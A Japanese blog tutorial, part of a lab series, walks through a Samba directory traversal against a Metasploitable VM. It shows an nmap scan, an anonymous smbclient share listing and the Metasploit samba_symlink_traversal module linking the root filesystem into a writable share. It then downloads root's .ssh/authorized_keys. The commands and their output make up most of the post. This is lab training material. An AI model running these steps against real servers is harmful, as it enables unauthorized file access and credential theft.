【連載】VirtualBox + Kali Linuxによるハッキング実験室 第6回 ~ ディレクトリトラバーサル ~
はじめに
この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第6回です。
前回はwiresharkを使用しtomcatへのアクセス解析とシェル奪取を行いました。
今回はSambaの脆弱性を利用してディレクトリトラバーサルを実現します。
連載記事一覧
ディレクトリトラバーサルとは
ディレクトリトラバーサルとは、本来アクセスが禁止されているディレクトリにアクセスする攻撃です。
まずはポートスキャン・sambaへのアクセス
ポートスキャンの結果から、Metasploitableではsambaが稼働しており、共有サービスを提供していることがわかります。
root@kali:~# nmap -sV -O -p- 192.168.56.3 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 11:56 EDT Nmap scan report for 192.168.56.3 Host is up (0.011s latency). Not shown: 65505 closed ports PORT STATE SERVICE VERSION (略) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
試しにアクセスてみましょう。
root@kali:~# smbclient -L //192.168.56.3 Enter WORKGROUP\root's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! ← 怪しい opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP METASPLOITABLE
共有名tmpのコメントがかなり怪しいため、これを攻撃対象にします。
Samba"smb.conf"ファイルの「widelinks」がyesになっているため、共有フォルダから、外部へのシンボリックリンクが作成可能です。
共有フォルダーからパーミッションが777のファイルにシンボリックリンクが張ってある状況を考えます。「widelinks」が有効だと、その共有フォルダーにアクセスできるユーザーは誰でもそのファイルを実行できてしまいます。
Metasploitには、「widelinks」が有効である場合にディレクトリトラバーサルを実現するモジュール("samba_symlink_traversal")が用意されて
ディレクトリトラバーサルを実行する
root@kali:~# msfconsole -q [-] *** [-] * WARNING: No database support: No database YAML file [-] *** msf5 > use auxiliary/admin/smb/samba_symlink_traversal msf5 auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf5 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp SMBSHARE => tmp msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit [*] Running module against 192.168.56.3 [*] 192.168.56.3:445 - Connecting to the server... [*] 192.168.56.3:445 - Trying to mount writeable share 'tmp'... [*] 192.168.56.3:445 - Trying to link 'rootfs' to the root filesystem... ← リンクを貼ろうとしている [*] 192.168.56.3:445 - Now access the following share to browse the root filesystem: [*] 192.168.56.3:445 - \\192.168.56.3\tmp\rootfs\ ← roofsにルートディレクトリがリンクされる。 [*] Auxiliary module execution completed
これでtmpという共有フォルダーがマウントされました。また、rootfsにルートディレクトリがリンクされました。Metasploitから抜けても、この状態は維持されているので、smbclientコマンドで共有フォルダーにアクセスできます。
msf5 auxiliary(admin/smb/samba_symlink_traversal) > exit ← Metasploitから抜ける root@kali:~# smbclient //192.168.56.3/tmp Enter WORKGROUP\root's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Oct 8 12:23:54 2019 .. DR 0 Sun May 20 14:36:12 2012 4524.jsvc_up R 0 Tue Oct 8 11:46:18 2019 .ICE-unix DH 0 Tue Oct 8 11:46:03 2019 .X11-unix DH 0 Tue Oct 8 11:46:09 2019 .X0-lock HR 11 Tue Oct 8 11:46:09 2019 rootfs DR 0 Sun May 20 14:36:12 2012
また、rootfsに移動してlsコマンドで確認すると、rootfsは確かにルートディレクトリへのリンクであることがわかります。
smb: \> cd rootfs smb: \rootfs\> ls . DR 0 Sun May 20 14:36:12 2012 .. DR 0 Sun May 20 14:36:12 2012 initrd DR 0 Tue Mar 16 18:57:40 2010 media DR 0 Tue Mar 16 18:55:52 2010 bin DR 0 Sun May 13 23:35:33 2012 lost+found DR 0 Tue Mar 16 18:55:15 2010 mnt DR 0 Wed Apr 28 16:16:56 2010 sbin DR 0 Sun May 13 21:54:53 2012 initrd.img R 7929183 Sun May 13 23:35:56 2012 home DR 0 Sat Sep 28 07:12:17 2019 lib DR 0 Sun May 13 23:35:22 2012 usr DR 0 Wed Apr 28 00:06:37 2010 proc DR 0 Tue Oct 8 11:45:53 2019 root DR 0 Tue Oct 8 11:46:09 2019 sys DR 0 Tue Oct 8 11:45:54 2019 boot DR 0 Sun May 13 23:36:28 2012 nohup.out R 18078 Tue Oct 8 11:46:09 2019 etc DR 0 Tue Oct 8 11:46:08 2019 dev DR 0 Tue Oct 8 11:46:04 2019 vmlinuz R 1987288 Thu Apr 10 12:55:41 2008 opt DR 0 Tue Mar 16 18:57:39 2010 var DR 0 Wed Mar 17 10:08:23 2010 cdrom DR 0 Tue Mar 16 18:55:51 2010 tmp D 0 Tue Oct 8 12:23:54 2019 srv DR 0 Tue Mar 16 18:57:38 2010
そのまま、ターゲット端末のssh情報を盗み出しましょう
smb: \rootfs\root\.ssh\> get authorized_keys getting file \rootfs\root\.ssh\authorized_keys of size 405 as authorized_keys (19.8 KiloBytes/sec) (average 90.2 KiloBytes/sec) smb: \rootfs\root\.ssh\> exit root@kali:~# ls authorized_keys dev Downloads pass.lst Pictures result user.lst Desktop Documents Music passwords Public Templates Videos
まとめ・次回
今回はディレクトリトラバーサルを実現し、sambaでの共有ディレクトリから、共有対象外のディレクトリにシンボリックリンクを貼り、情報を盗み出しました。
次回はログの改ざんを行います